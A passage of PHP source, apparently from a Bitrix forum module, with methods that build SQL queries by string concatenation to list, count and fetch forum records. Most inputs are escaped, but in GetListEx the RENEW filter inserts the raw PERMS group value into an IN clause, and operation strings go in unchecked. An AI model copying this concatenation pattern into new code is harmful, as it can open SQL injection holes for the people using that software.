$arSqlSearch[] = "F.ID = F2S.FORUM_ID AND ".($strNegative=="Y"?" NOT ":"")."(F2S.SITE_ID ".$strOperation." '".$DB->ForSql($val)."' )";
$arSqlSearchFrom[] = "b_forum2site F2S";
}
break;
case "INDEXATION":
case "DEDUPLICATION":
case "ACTIVE":
case "XML_ID":
if (strlen($val)<=0)
$arSqlSearch[] = ($strNegative=="Y"?"NOT":"")."(F.".$key." IS NULL OR ".($DB->type == "MSSQL" ? "LEN" : "LENGTH")."(F.".$key.")<=0)";
else
$arSqlSearch[] = ($strNegative=="Y"?" F.".$key." IS NULL OR NOT ":"")."(F.".$key." ".$strOperation." '".$DB->ForSql($val)."' )";
break;
case "ID":
case "FORUM_GROUP_ID":
case "TOPICS":
case "POSTS":
case "POSTS_UNAPPROVED":
if ($strOperation == "IN")
{
if (is_array($val))
{
$val_int = array();
foreach ($val as $v)
$val_int[] = intVal($v);
$val = implode(", ", $val_int);
}
else
{
$val = intval($val);
}
$val = trim($val);
}
if (($strOperation == "IN" && strLen($val) <= 0) || intVal($val) <= 0)
$arSqlSearch[] = ($strNegative=="Y"?"NOT":"")."(F.".$key." IS NULL OR F.".$key."<=0)";
elseif ($strOperation == "IN")
$arSqlSearch[] = ($strNegative=="Y"?" NOT ":"")."(F.".$key." IN (".$DB->ForSql($val)."))";
else
$arSqlSearch[] = ($strNegative=="Y"?" F.".$key." IS NULL OR NOT ":"")."(F.".$key." ".$strOperation." ".intVal($val)." )";
break;
case "TEXT":
$arSqlSearch[] = " (".GetFilterQuery("F.NAME,F.DESCRIPTION", $DB->ForSql($val), "Y").") ";
break;
case "PERMS":
if (is_array($val) && count($val)>1)
{
$val[1] = strtoupper(substr($val[1], 0, 1));
if (strpos("AEIMQUY", $val[1]) !== false)
{
$arSqlSearch[] = "F.ID = FP.FORUM_ID AND FP.GROUP_ID IN (".intval($val[0]).") AND FP.PERMISSION > '".$DB->ForSql($val[1])."' ";
$arSqlSearchFrom[] = "b_forum_perms FP";
}
}
break;
}
}
if (count($arSqlSearch) > 0)
$strSqlSearch = " AND (".implode(") AND (", $arSqlSearch).") ";
if (count($arSqlSearchFrom) > 0)
$strSqlSearchFrom = ", ".implode(", ", $arSqlSearchFrom);
foreach ($arOrder as $by=>$order)
{
$by = strtoupper($by); $order = strtoupper($order);
if ($order!="ASC") $order = "DESC";
if ($by == "ID") $arSqlOrder[] = " F.ID ".$order." ";
elseif ($by == "NAME") $arSqlOrder[] = " F.NAME ".$order." ";
elseif ($by == "ACTIVE") $arSqlOrder[] = " F.ACTIVE ".$order." ";
elseif ($by == "MODERATION") $arSqlOrder[] = " F.MODERATION ".$order." ";
elseif ($by == "FORUM_GROUP_ID") $arSqlOrder[] = " F.FORUM_GROUP_ID ".$order." ";
elseif ($by == "TOPICS") $arSqlOrder[] = " F.TOPICS ".$order." ";
elseif ($by == "POSTS") $arSqlOrder[] = " F.POSTS ".$order." ";
elseif ($by == "POSTS_UNAPPROVED") $arSqlOrder[] = " F.POSTS_UNAPPROVED ".$order." ";
elseif ($by == "LAST_POST_DATE") $arSqlOrder[] = " F.LAST_POST_DATE ".$order." ";
else
{
$arSqlOrder[] = " F.SORT ".$order." ";
$by = "SORT";
}
}
DelDuplicateSort($arSqlOrder);
if (count($arSqlOrder) > 0)
$strSqlOrder = " ORDER BY ".implode(", ", $arSqlOrder);
$strSql =
"SELECT F_FORUM.*, F.NAME, F.DESCRIPTION, F.ACTIVE, F.MODERATION, F.INDEXATION, F.DEDUPLICATION, F.ALLOW_MOVE_TOPIC, '' as LID,
F.TOPICS, F.POSTS, F.LAST_POSTER_ID, F.LAST_POSTER_NAME,
".$DB->DateToCharFunction("F.LAST_POST_DATE", "FULL")." as LAST_POST_DATE,
F.LAST_MESSAGE_ID, F.LAST_MESSAGE_ID as MID,
F.POSTS_UNAPPROVED, F.ABS_LAST_POSTER_ID, F.ABS_LAST_POSTER_NAME,
".$DB->DateToCharFunction("F.ABS_LAST_POST_DATE", "FULL")." as ABS_LAST_POST_DATE,
F.ABS_LAST_MESSAGE_ID, F.SORT, F.ORDER_BY,
F.ORDER_DIRECTION, F.ALLOW_HTML, F.ALLOW_ANCHOR, F.ALLOW_BIU,
F.ALLOW_IMG, F.ALLOW_VIDEO, F.ALLOW_TABLE, F.ALLOW_LIST, F.ALLOW_QUOTE, F.ALLOW_CODE,
F.ALLOW_ALIGN, F.ALLOW_FONT, F.ALLOW_SMILES, F.ALLOW_UPLOAD, F.EVENT1, F.EVENT2,
F.EVENT3, F.ALLOW_NL2BR, '' as PATH2FORUM_MESSAGE, F.ALLOW_UPLOAD_EXT, F.ALLOW_TOPIC_TITLED,
F.ALLOW_SIGNATURE,
F.FORUM_GROUP_ID, F.ASK_GUEST_EMAIL, F.USE_CAPTCHA, F.XML_ID
FROM
(
SELECT F.ID ".$strSqlSelect."
FROM b_forum F
".$strSqlSearchFrom."
WHERE (1=1 ".$strSqlSearch.")
GROUP BY F.ID
) F_FORUM
INNER JOIN b_forum F ON (F_FORUM.ID = F.ID)
".$strSqlOrder;
$db_res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
return $db_res;
}
public static function GetListEx($arOrder = Array("SORT"=>"ASC"), $arFilter = Array(), $bCount = false, $iNum = 0, $arAddParams = array())
{
global $DB;
$arSqlSearch = array();
$orSqlSearch = array();
$arSqlSelect = array();
$arSqlFrom = array();
$arSqlGroup = array();
$arSqlOrder = array();
$strSqlSearch = "";
$strSqlSelect = "";
$strSqlSearchOR = "";
$strSqlFrom = "";
$strSqlGroup = "";
$strSqlOrder = "";
$arFilter = (is_array($arFilter) ? $arFilter : array());
foreach ($arFilter as $key => $val)
{
$key_res = CForumNew::GetFilterOperation($key);
$key = strtoupper($key_res["FIELD"]);
$strNegative = $key_res["NEGATIVE"];
$strOperation = $key_res["OPERATION"];
switch ($key)
{
case "LID":
case "SITE_ID":
if (strLen($val) <= 0):
continue;
endif;
$arSqlSelect["PATH2FORUM_MESSAGE"] = "F2S.PATH2FORUM_MESSAGE";
$arSqlGroup["PATH2FORUM_MESSAGE"] = "F2S.PATH2FORUM_MESSAGE";
$arSqlFrom["F2S"] = "
INNER JOIN b_forum2site F2S ON (F2S.FORUM_ID=F.ID)";
$arSqlSearch[] = ($strNegative=="Y"?" NOT ":"")."(F2S.SITE_ID ".$strOperation." '".$DB->ForSql($val)."')";
break;
case "INDEXATION":
case "DEDUPLICATION":
case "ACTIVE":
case "XML_ID":
case "ALLOW_MOVE_TOPIC":
case "ALLOW_SIGNATURE":
if (strLen($val)<=0)
$arSqlSearch[] = ($strNegative=="Y"?"NOT":"")."(F.".$key." IS NULL OR ".($DB->type == "MSSQL" ? "LEN" : "LENGTH")."(F.".$key.") <= 0)";
else
$arSqlSearch[] = ($strNegative=="Y"?" F.".$key." IS NULL OR NOT ":"")."(F.".$key." ".$strOperation." '".$DB->ForSql($val)."')";
break;
case "ID":
case "FORUM_GROUP_ID":
case "TOPICS":
case "POSTS":
$val = array_map("intval", (is_array($val) ? $val : explode(",", $val)));
if (array_sum($val) <= 0)
$arSqlSearch[] = ($strNegative == "Y" ? "NOT" : "") . "(F.".$key." IS NULL OR F.".$key."<=0)";
elseif ($strOperation == "IN" || count($val) > 1)
$arSqlSearch[] = ($strNegative=="Y"?" NOT ":"")."(F.".$key." IN (".$DB->ForSql(implode(",", $val))."))";
else
$arSqlSearch[] = ($strNegative=="Y"?" F.".$key." IS NULL OR NOT ":"")."(F.".$key." ".$strOperation." ".reset($val)." )";
break;
case "TEXT":
$arSqlSearch[] = " (".GetFilterQuery("F.NAME,F.DESCRIPTION", $DB->ForSql($val), "Y").") ";
break;
case "PERMS":
$v = (is_array($val) && isset($val[0]) && !empty($val[0]) ? array_map("intval", is_array($val[0]) ? $val[0] : explode(",", $val[0])) : array());
if (empty($v))
continue;
$val[0] = $DB->ForSql(implode(", ", $v));
$arSqlFrom["FP"] = "
INNER JOIN b_forum_perms FP ON (F.ID = FP.FORUM_ID)";
if (strtoupper($val[1]) == "ALLOW_MOVE_TOPIC")
$arSqlSearch[] = "FP.GROUP_ID IN (".$val[0].") AND ((FP.PERMISSION > 'M') OR (F.ALLOW_MOVE_TOPIC = 'Y'))";
else
$arSqlSearch[] = "FP.GROUP_ID IN (".$val[0].") AND FP.PERMISSION > '".$DB->ForSql($val[1])."' ";
break;
case "APPROVED":
if (strLen($val) <= 0):
continue;
endif;
$arSqlFrom["FMM"] = "
LEFT JOIN b_forum_message FMM ON (FMM.FORUM_ID=F.ID AND (FMM.APPROVED ".$strOperation." '".$DB->ForSql($val)."'))";
$arSqlSelect["FMM"] = "count(FMM.ID) MCNT";
break;
case "RENEW":
$val = intVal($val);
if ($val <= 0):
continue;
endif;
$perms = "NOT_CHECK";
$arUserGroups = $GLOBALS["USER"]->GetGroups();
if (is_set($arFilter, "PERMS")):
$perms = "NORMAL";
$arUserGroups = $arFilter["PERMS"][0];
elseif (is_set($arFilter, "APPROVED") && $arFilter["APPROVED"] == "Y"):
$perms = "ONLY_APPROVED";
endif;
$arSqlSelect["TCRENEW"] = "MAX(BFF.TCRENEW) AS TCRENEW";
$arSqlFrom["RENEW"] = "
LEFT JOIN (
SELECT BF.ID AS RENEW_FORUM_ID, COUNT(FT_RENEW.ID) TCRENEW
FROM b_forum BF
".
($perms == "NORMAL" ? "
LEFT JOIN
(
SELECT FPP.FORUM_ID, MAX(FPP.PERMISSION) AS PERMISSION
FROM b_forum_perms FPP
WHERE FPP.GROUP_ID IN (".$arUserGroups.")
GROUP BY FPP.FORUM_ID
) FP ON (FP.FORUM_ID = BF.ID)" :
""
).
"
LEFT JOIN b_forum_user_forum FUF ON (FUF.USER_ID=".$val." AND FUF.FORUM_ID = BF.ID)
LEFT JOIN b_forum_user_forum FUF_ALL ON (FUF_ALL.USER_ID=".$val." AND FUF_ALL.FORUM_ID = 0)
LEFT JOIN b_forum_topic FT_RENEW ON (BF.ID = FT_RENEW.FORUM_ID AND FT_RENEW.STATE != 'L' AND (FUF_ALL.LAST_VISIT IS NULL OR FT_RENEW.ABS_LAST_POST_DATE > FUF_ALL.LAST_VISIT))
LEFT JOIN b_forum_user_topic FUT_RENEW ON (FUT_RENEW.FORUM_ID = BF.ID AND FUT_RENEW.TOPIC_ID = FT_RENEW.ID AND FUT_RENEW.USER_ID=".$val.")
WHERE
(
FUT_RENEW.LAST_VISIT IS NULL
AND
(
(FUF_ALL.LAST_VISIT IS NULL AND FUF.LAST_VISIT IS NULL)
OR
(
FUF.LAST_VISIT IS NOT NULL
AND
".
( $perms == "NORMAL" ? "
(FP.PERMISSION >= 'Q' AND FUF.LAST_VISIT < FT_RENEW.ABS_LAST_POST_DATE)
OR
(FT_RENEW.APPROVED = 'Y' AND FUF.LAST_VISIT < FT_RENEW.LAST_POST_DATE)
" :
( $perms == "NOT_CHECK" ? "
(FUF.LAST_VISIT < FT_RENEW.ABS_LAST_POST_DATE OR FUF.LAST_VISIT < FT_RENEW.LAST_POST_DATE)
" :
"
(FT_RENEW.APPROVED = 'Y' AND FUF.LAST_VISIT < FT_RENEW.LAST_POST_DATE)
"
)
)
."
)
OR
(
FUF.LAST_VISIT IS NULL AND FUF_ALL.LAST_VISIT IS NOT NULL
AND
(
".
( $perms == "NORMAL" ? "
(FP.PERMISSION >= 'Q' AND FUF_ALL.LAST_VISIT < FT_RENEW.ABS_LAST_POST_DATE)
OR
(FT_RENEW.APPROVED = 'Y' AND FUF_ALL.LAST_VISIT < FT_RENEW.LAST_POST_DATE)
" :
( $perms == "NOT_CHECK" ? "
(FUF_ALL.LAST_VISIT < FT_RENEW.ABS_LAST_POST_DATE OR FUF_ALL.LAST_VISIT < FT_RENEW.LAST_POST_DATE)
" :
"
(FT_RENEW.APPROVED = 'Y' AND FUF_ALL.LAST_VISIT < FT_RENEW.LAST_POST_DATE)
"
)
)
."
)
)
)
)
OR
(
FUT_RENEW.LAST_VISIT IS NOT NULL
AND
".
( $perms == "NORMAL" ? "
(FP.PERMISSION >= 'Q' AND FUT_RENEW.LAST_VISIT < FT_RENEW.ABS_LAST_POST_DATE)
OR
(FT_RENEW.APPROVED = 'Y' AND FUT_RENEW.LAST_VISIT < FT_RENEW.LAST_POST_DATE)
" :
( $perms == "NOT_CHECK" ? "
(FUT_RENEW.LAST_VISIT < FT_RENEW.ABS_LAST_POST_DATE OR FUT_RENEW.LAST_VISIT < FT_RENEW.LAST_POST_DATE)
" :
"
(FT_RENEW.APPROVED = 'Y' AND FUT_RENEW.LAST_VISIT < FT_RENEW.LAST_POST_DATE)
"
)
)
."
)
GROUP BY BF.ID".
( $perms == "NORMAL" ? ", FP.PERMISSION" : "")."
) BFF ON (BFF.RENEW_FORUM_ID = F.ID)
";
break;
}
}
if (count($arSqlSearch) > 0)
$strSqlSearch = " AND (".implode(") AND (", $arSqlSearch).") ";
if (count($orSqlSearch) > 0)
$strSqlSearchOR = " OR (".implode(") AND (", $orSqlSearch).") ";
if (count($arSqlSelect) > 0)
$strSqlSelect = ", ".implode(", ", $arSqlSelect);
if (count($arSqlFrom) > 0)
$strSqlFrom = " ".implode(" ", $arSqlFrom);
if (count($arSqlGroup) > 0)
$strSqlGroup = ",".implode(",", $arSqlGroup);
foreach ($arOrder as $by=>$order)
{
$by = strtoupper($by); $order = strtoupper($order);
if ($order!="ASC") $order = "DESC".($DB->type=="ORACLE"?" NULLS LAST":"");
else $order = "ASC".($DB->type=="ORACLE"?" NULLS FIRST":"");
if ($by == "ID") $arSqlOrder["F_FORUM.ID"] = " F_FORUM.ID ".$order." ";
elseif ($by == "NAME") $arSqlOrder["F.NAME"] = " F.NAME ".$order." ";
elseif ($by == "ACTIVE") $arSqlOrder["F.ACTIVE"] = " F.ACTIVE ".$order." ";
elseif ($by == "MODERATION") $arSqlOrder["F.MODERATION"] = " F.MODERATION ".$order." ";
elseif ($by == "FORUM_GROUP_ID") $arSqlOrder["F.FORUM_GROUP_ID"] = " F.FORUM_GROUP_ID ".$order." ";
elseif ($by == "FORUM_GROUP_SORT") $arSqlOrder["FG.SORT"] = " FG.SORT ".$order." ";
elseif ($by == "FORUM_GROUP_LEFT_MARGIN") $arSqlOrder["FG.LEFT_MARGIN"] = " FG.LEFT_MARGIN ".$order." ";
elseif ($by == "TOPICS") $arSqlOrder["F.TOPICS"] = " F.TOPICS ".$order." ";
elseif ($by == "POSTS") $arSqlOrder["F.POSTS"] = " F.POSTS ".$order." ";
elseif ($by == "POSTS_UNAPPROVED") $arSqlOrder["F.POSTS_UNAPPROVED"] = " F.POSTS_UNAPPROVED ".$order." ";
elseif ($by == "LAST_POST_DATE") $arSqlOrder["F.LAST_POST_DATE"] = " F.LAST_POST_DATE ".$order." ";
elseif ($by == "ABS_LAST_POST_DATE") $arSqlOrder["F.ABS_LAST_POST_DATE"] = " F.ABS_LAST_POST_DATE ".$order." ";
else
{
$arSqlOrder["F.SORT"] = " F.SORT ".$order." ";
$by = "SORT";
}
}
if (count($arSqlOrder) > 0)
$strSqlOrder = " ORDER BY ".implode(", ", $arSqlOrder);
if ($bCount || (is_set($arAddParams, "bDescPageNumbering") && intVal($arAddParams["nTopCount"])<=0))
{
$arCountSqlFrom = $arSqlFrom;
if (isset($arSqlFrom['RENEW']) && (strpos($strSqlSearch, "RENEW.") === false))
unset($arCountSqlFrom['RENEW']);
$strSqlCountFrom = implode(" ", $arCountSqlFrom);
$strSql =
"SELECT COUNT(FORUMCOUNT.ID) as CNT FROM (".
"SELECT F.ID ".
" FROM b_forum F ".
$strSqlCountFrom ." ".
" WHERE (1=1 ".$strSqlSearch.") ".
$strSqlSearchOR.
" GROUP BY F.ID".
") FORUMCOUNT";
$db_res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
$iCnt = 0;
if ($ar_res = $db_res->Fetch())
{
$iCnt = intVal($ar_res["CNT"]);
}
if ($bCount)
return $iCnt;
}
if (!$iNum && is_set($arAddParams, "bDescPageNumbering") && intVal($arAddParams["nTopCount"]) <= 0 && isset($arAddParams['nav_result']))
{
if (!$arAddParams['nav_result'])
{
$strSubSql =
"SELECT F_FORUM.* ".
"FROM ".
"(SELECT F.ID, FG.SORT ".$strSqlSelect. " ".
"FROM b_forum F ".
$strSqlFrom." ".
"LEFT JOIN b_forum_group FG ON F.FORUM_GROUP_ID = FG.ID ".
"WHERE (1=1 ".$strSqlSearch.") ".
$strSqlSearchOR." ".
"GROUP BY F.ID, FG.SORT".$strSqlGroup. ") F_FORUM ".
"INNER JOIN b_forum F ON (F_FORUM.ID = F.ID) ".
str_replace("FG.SORT", "F_FORUM.SORT", $strSqlOrder);
$db_res = new CDBResult();
$db_res->NavQuery($strSubSql, $iCnt, $arAddParams);
return $db_res;
}
else
{
$db_res = $arAddParams['nav_result'];
}
$arForumID = array();
while($ar_res = $db_res->Fetch())
{
$arForumID[] = $ar_res['ID'];
}
$sForumID = implode(', ', $arForumID);
$strSqlSearch = "(".($sForumID != "" ? "F.ID IN (".$sForumID.") " : "1=1 ").$strSqlSearch.")";
}
else
{
$strSqlSearch = "(1=1 ".$strSqlSearch.")";
}
$arSQL = array("select" => "", "join" => "");
if (!empty($arAddParams["sNameTemplate"]))
{
$arSQL = array_merge_recursive(
CForumUser::GetFormattedNameFieldsForSelect(array_merge(
$arAddParams, array(
"sUserTablePrefix" => "U_LAST.",
"sForumUserTablePrefix" => "FU_LAST.",
"sFieldName" => "LAST_POSTER_NAME_FRMT",
"sUserIDFieldName" => "F.LAST_POSTER_ID"))),
CForumUser::GetFormattedNameFieldsForSelect(array_merge(
$arAddParams, array(
"sUserTablePrefix" => "U_ABS_LAST.",
"sForumUserTablePrefix" => "FU_ABS_LAST.",
"sFieldName" => "ABS_LAST_POSTER_NAME_FRMT",
"sUserIDFieldName" => "F.ABS_LAST_POSTER_ID"))));
$arSQL["select"] = ",\n\t".implode(",\n\t", $arSQL["select"]);
$arSQL["join"] = "\n".implode("\n", $arSQL["join"]);
}
$strSql =
"SELECT F_FORUM.*, F.FORUM_GROUP_ID, F.NAME, F.DESCRIPTION, F.SORT, F.ACTIVE,
F.ALLOW_HTML, F.ALLOW_ANCHOR, F.ALLOW_BIU, F.ALLOW_IMG, F.ALLOW_VIDEO,
F.ALLOW_LIST, F.ALLOW_QUOTE, F.ALLOW_CODE, F.ALLOW_FONT, F.ALLOW_SMILES,
F.ALLOW_ALIGN, F.ALLOW_UPLOAD, F.ALLOW_UPLOAD_EXT, F.ALLOW_MOVE_TOPIC,
F.ALLOW_NL2BR, F.ALLOW_TABLE, F.ALLOW_TOPIC_TITLED, F.ALLOW_SIGNATURE,
".(strpos($strSqlSelect, "PATH2FORUM_MESSAGE") === false ? "'' as PATH2FORUM_MESSAGE," : "")."
F.ASK_GUEST_EMAIL, F.USE_CAPTCHA, F.MODERATION, F.INDEXATION, F.DEDUPLICATION,
F.ORDER_BY, F.ORDER_DIRECTION,
'' as LID, '' as DIR,
F.TOPICS, F.XML_ID,
F.POSTS, F.LAST_POSTER_ID, F.LAST_POSTER_NAME,
".$DB->DateToCharFunction("F.LAST_POST_DATE", "FULL")." as LAST_POST_DATE,
F.LAST_MESSAGE_ID, FM.TOPIC_ID as TID, F.LAST_MESSAGE_ID as MID,
F.POSTS_UNAPPROVED, F.ABS_LAST_POSTER_ID, F.ABS_LAST_POSTER_NAME,
".$DB->DateToCharFunction("F.ABS_LAST_POST_DATE", "FULL")." as ABS_LAST_POST_DATE,
F.ABS_LAST_MESSAGE_ID, FM_ABS.TOPIC_ID as ABS_TID,
F.EVENT1, F.EVENT2, F.EVENT3,
FT.TITLE, FT.SOCNET_GROUP_ID, FT.OWNER_ID,
".CForumNew::Concat("-", array("FT.ID", "FT.TITLE_SEO"))." AS TITLE_SEO,
FT.HTML AS TOPIC_HTML, FM.PARAM1, FM.PARAM2,
FT_ABS.TITLE as ABS_TITLE, FT_ABS.SOCNET_GROUP_ID as ABS_SOCNET_GROUP_ID, FT_ABS.OWNER_ID as ABS_OWNER_ID,
".CForumNew::Concat("-", array("FT_ABS.ID", "FT_ABS.TITLE_SEO"))." AS ABS_TITLE_SEO,
FT_ABS.HTML AS ABS_TOPIC_HTML, FM_ABS.PARAM1 as ABS_PARAM1, FM_ABS.PARAM2 as ABS_PARAM2,
F.HTML".$arSQL["select"]."
FROM
(
SELECT F.ID ".$strSqlSelect."
FROM b_forum F
".$strSqlFrom."
WHERE ".$strSqlSearch."
".$strSqlSearchOR."
GROUP BY F.ID".$strSqlGroup."
) F_FORUM
INNER JOIN b_forum F ON (F_FORUM.ID = F.ID)".
$arSQL["join"]."
LEFT JOIN b_forum_group FG ON F.FORUM_GROUP_ID = FG.ID
LEFT JOIN b_forum_message FM ON F.LAST_MESSAGE_ID = FM.ID
LEFT JOIN b_forum_topic FT ON FM.TOPIC_ID = FT.ID
LEFT JOIN b_forum_message FM_ABS ON F.ABS_LAST_MESSAGE_ID = FM_ABS.ID
LEFT JOIN b_forum_topic FT_ABS ON FM_ABS.TOPIC_ID = FT_ABS.ID
".$strSqlOrder;
$iNum = intVal($iNum);
if ($iNum > 0 || intVal($arAddParams["nTopCount"]) > 0)
{
$iNum = ($iNum > 0) ? $iNum : intVal($arAddParams["nTopCount"]);
$strSql .= " LIMIT 0,".$iNum;
}
$db_res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
if (is_set($arAddParams, 'NoFilter') && $arAddParams['NoFilter'] == true)
return $db_res;
return new _CForumDBResult($db_res, $arAddParams);
}
public static function GetForumRenew($arParams)
{
global $DB, $USER;
$userID = false;
if (isset($arParams['USER_ID']) && (intval($arParams['USER_ID']) > 0))
{
$userID = intval($arParams['USER_ID']);
}
else if ($USER->IsAuthorized())
{
$userID = $USER->GetID();
}
$arForum = array();
if (isset($arParams['FORUM_ID']))
{
if (!is_array($arParams['FORUM_ID']) && (intval($arParams['FORUM_ID']) > 0))
$arParams['FORUM_ID'] = array($arParams['FORUM_ID']);
if (is_array($arParams['FORUM_ID']))
{
foreach ($arParams['FORUM_ID'] as $forumID)
{
$forumID = intval($forumID);
if ($forumID > 0)
$arForum[] = $forumID;
}
}
}
if ($userID === false || sizeof($arForum) <= 0)
{
return false;
}
$sWhere = "(1=1)";
if (sizeof($arForum) > 0)
$sWhere = '(BF.ID IN ('.implode(" ,",$arForum).'))';
$strSql = "
SELECT BF.ID AS FORUM_ID , COUNT(FT_RENEW.ID) TCRENEW
FROM b_forum BF
LEFT JOIN b_forum_user_forum FUF ON (FUF.USER_ID = ".$userID." AND FUF.FORUM_ID = BF.ID)
LEFT JOIN b_forum_user_forum FUF_ALL ON (FUF_ALL.USER_ID = ".$userID." AND FUF_ALL.FORUM_ID = 0)
LEFT JOIN b_forum_topic FT_RENEW ON
(
BF.ID = FT_RENEW.FORUM_ID AND FT_RENEW.STATE != 'L' AND
(FUF_ALL.LAST_VISIT IS NULL OR FT_RENEW.ABS_LAST_POST_DATE > FUF_ALL.LAST_VISIT)
)
LEFT JOIN b_forum_user_topic FUT_RENEW ON (
FUT_RENEW.FORUM_ID = BF.ID AND FUT_RENEW.TOPIC_ID = FT_RENEW.ID AND FUT_RENEW.USER_ID = ".$userID.")
WHERE(
".$sWhere."
AND
(
FUT_RENEW.LAST_VISIT IS NULL
AND
(
(FUF_ALL.LAST_VISIT IS NULL AND FUF.LAST_VISIT IS NULL)
OR
(
FUF.LAST_VISIT IS NOT NULL
AND
(FUF.LAST_VISIT < FT_RENEW.ABS_LAST_POST_DATE OR FUF.LAST_VISIT < FT_RENEW.LAST_POST_DATE)
)
OR
(
FUF.LAST_VISIT IS NULL
AND
FUF_ALL.LAST_VISIT IS NOT NULL
AND
(
(
FUF_ALL.LAST_VISIT < FT_RENEW.ABS_LAST_POST_DATE
OR
FUF_ALL.LAST_VISIT < FT_RENEW.LAST_POST_DATE
)
)
)
)
)
OR (
FUT_RENEW.LAST_VISIT IS NOT NULL
AND
(
FUT_RENEW.LAST_VISIT < FT_RENEW.ABS_LAST_POST_DATE
OR
FUT_RENEW.LAST_VISIT < FT_RENEW.LAST_POST_DATE
)
)
)
GROUP BY BF.ID
";
$db_res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
return $db_res;
}
public static function GetByID($ID)
{
global $DB, $CACHE_MANAGER;
$ID = intVal($ID);
$cache_id = "b_forum_".$ID;
if ($ID <= 0):
return false;
elseif (!is_array($GLOBALS["FORUM_CACHE"]["FORUM"][$ID])):
$GLOBALS["FORUM_CACHE"]["FORUM"][$ID] = array();
endif;
if (!array_key_exists("MAIN", $GLOBALS["FORUM_CACHE"]["FORUM"][$ID]))
{
if (CACHED_b_forum !== false && $CACHE_MANAGER->Read(CACHED_b_forum, $cache_id, "b_forum"))
{
$GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["MAIN"] = $CACHE_MANAGER->Get($cache_id);
}
else
{
$strSql = "SELECT F.ID, F.NAME, F.DESCRIPTION, F.ACTIVE, F.MODERATION, F.INDEXATION,
F.ALLOW_MOVE_TOPIC, F.DEDUPLICATION,
'' as LID, F.TOPICS, F.POSTS, F.LAST_POSTER_ID, F.LAST_POSTER_NAME,
".$DB->DateToCharFunction("F.LAST_POST_DATE", "FULL")." as LAST_POST_DATE,
F.LAST_MESSAGE_ID, F.LAST_MESSAGE_ID as MID,
F.POSTS_UNAPPROVED, F.ABS_LAST_POSTER_ID, F.ABS_LAST_POSTER_NAME,
".$DB->DateToCharFunction("F.ABS_LAST_POST_DATE", "FULL")." as ABS_LAST_POST_DATE,
F.ABS_LAST_MESSAGE_ID, F.SORT, F.ORDER_BY,
F.ORDER_DIRECTION, F.ALLOW_HTML, F.ALLOW_ANCHOR, F.ALLOW_BIU, F.ALLOW_TOPIC_TITLED,
F.ALLOW_IMG, F.ALLOW_VIDEO, F.ALLOW_LIST, F.ALLOW_QUOTE, F.ALLOW_CODE, F.ALLOW_TABLE,
F.ALLOW_ALIGN, F.ALLOW_FONT, F.ALLOW_SMILES, F.ALLOW_UPLOAD, F.EVENT1, F.EVENT2,
F.EVENT3, F.ALLOW_NL2BR, '' as PATH2FORUM_MESSAGE, F.ALLOW_UPLOAD_EXT, F.ALLOW_SIGNATURE,
F.FORUM_GROUP_ID, F.ASK_GUEST_EMAIL, F.USE_CAPTCHA, F.XML_ID
FROM b_forum F
WHERE F.ID = ".$ID;
$db_res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
$GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["MAIN"] = $db_res->GetNext();
if (CACHED_b_forum !== false)
$CACHE_MANAGER->Set($cache_id, $GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["MAIN"]);
}
}
return $GLOBALS["FORUM_CACHE"]["FORUM"][$ID]["MAIN"];
}
public static function GetByIDEx($ID, $SITE_ID = false, $arAddParams = array())
{
global $DB, $CACHE_MANAGER;
$ID = intVal($ID);
$SITE_ID = ($SITE_ID == false || empty($SITE_ID) ? false : $SITE_ID);
$key = ($SITE_ID == false ? "EX" : "EX_PATH_".strToUpper($SITE_ID));
$cache_id = "b_forum_".$ID.strToLower($key);
if ($ID <= 0):
return false;
elseif (!is_array($GLOBALS["FORUM_CACHE"]["FORUM"][$ID])):
$GLOBALS["FORUM_CACHE"]["FORUM"][$ID] = array();
endif;
if (!array_key_exists($key, $GLOBALS["FORUM_CACHE"]["FORUM"][$ID]))
{
if (CACHED_b_forum !== false && $CACHE_MANAGER->Read(CACHED_b_forum, $cache_id, "b_forum"))
{
$GLOBALS["FORUM_CACHE"]["FORUM"][$ID][$key] = $CACHE_MANAGER->Get($cache_id);
}
else
{
$arSQL = array("select" => "", "join" => "");
if (!empty($arAddParams["sNameTemplate"]))
{
$arSQL = array_merge_recursive(
CForumUser::GetFormattedNameFieldsForSelect(array_merge(
$arAddParams, array(
"sUserTablePrefix" => "U_LAST.",
"sForumUserTablePrefix" => "FU_LAST.",
"sFieldName" => "LAST_POSTER_NAME_FRMT",
"sUserIDFieldName" => "F.LAST_POSTER_ID"))),
CForumUser::GetFormattedNameFieldsForSelect(array_merge(
$arAddParams, array(
"sUserTablePrefix" => "U_ABS_LAST.",
"sForumUserTablePrefix" => "FU_ABS_LAST.",
"sFieldName" => "ABS_LAST_POSTER_NAME_FRMT",
"sUserIDFieldName" => "F.ABS_LAST_POSTER_ID"))));
$arSQL["select"] = ",\n\t".implode(",\n\t", $arSQL["select"]);
$arSQL["join"] = "\n".implode("\n", $arSQL["join"]);
}
$strSql = "SELECT F.ID, F.NAME, F.DESCRIPTION, F.ACTIVE, F.MODERATION, F.INDEXATION, F.DEDUPLICATION,
F.ALLOW_MOVE_TOPIC, '' as LID, F.TOPICS, F.POSTS, F.LAST_POSTER_ID, F.LAST_POSTER_NAME,
".$DB->DateToCharFunction("F.LAST_POST_DATE", "FULL")." as LAST_POST_DATE,
F.LAST_MESSAGE_ID, FM.TOPIC_ID as TID, F.LAST_MESSAGE_ID as MID,
F.POSTS_UNAPPROVED, F.ABS_LAST_POSTER_ID, F.ABS_LAST_POSTER_NAME,
".$DB->DateToCharFunction("F.ABS_LAST_POST_DATE", "FULL")." as ABS_LAST_POST_DATE,
F.ABS_LAST_MESSAGE_ID, FT.TITLE, F.SORT, '' as DIR, F.ORDER_BY, F.ORDER_DIRECTION,
F.ALLOW_HTML, F.ALLOW_ANCHOR, F.ALLOW_BIU, F.ALLOW_TABLE, F.ALLOW_ALIGN, F.ALLOW_SIGNATURE,
F.ALLOW_IMG, F.ALLOW_VIDEO, F.ALLOW_LIST, F.ALLOW_QUOTE, F.ALLOW_CODE, F.ALLOW_TOPIC_TITLED,
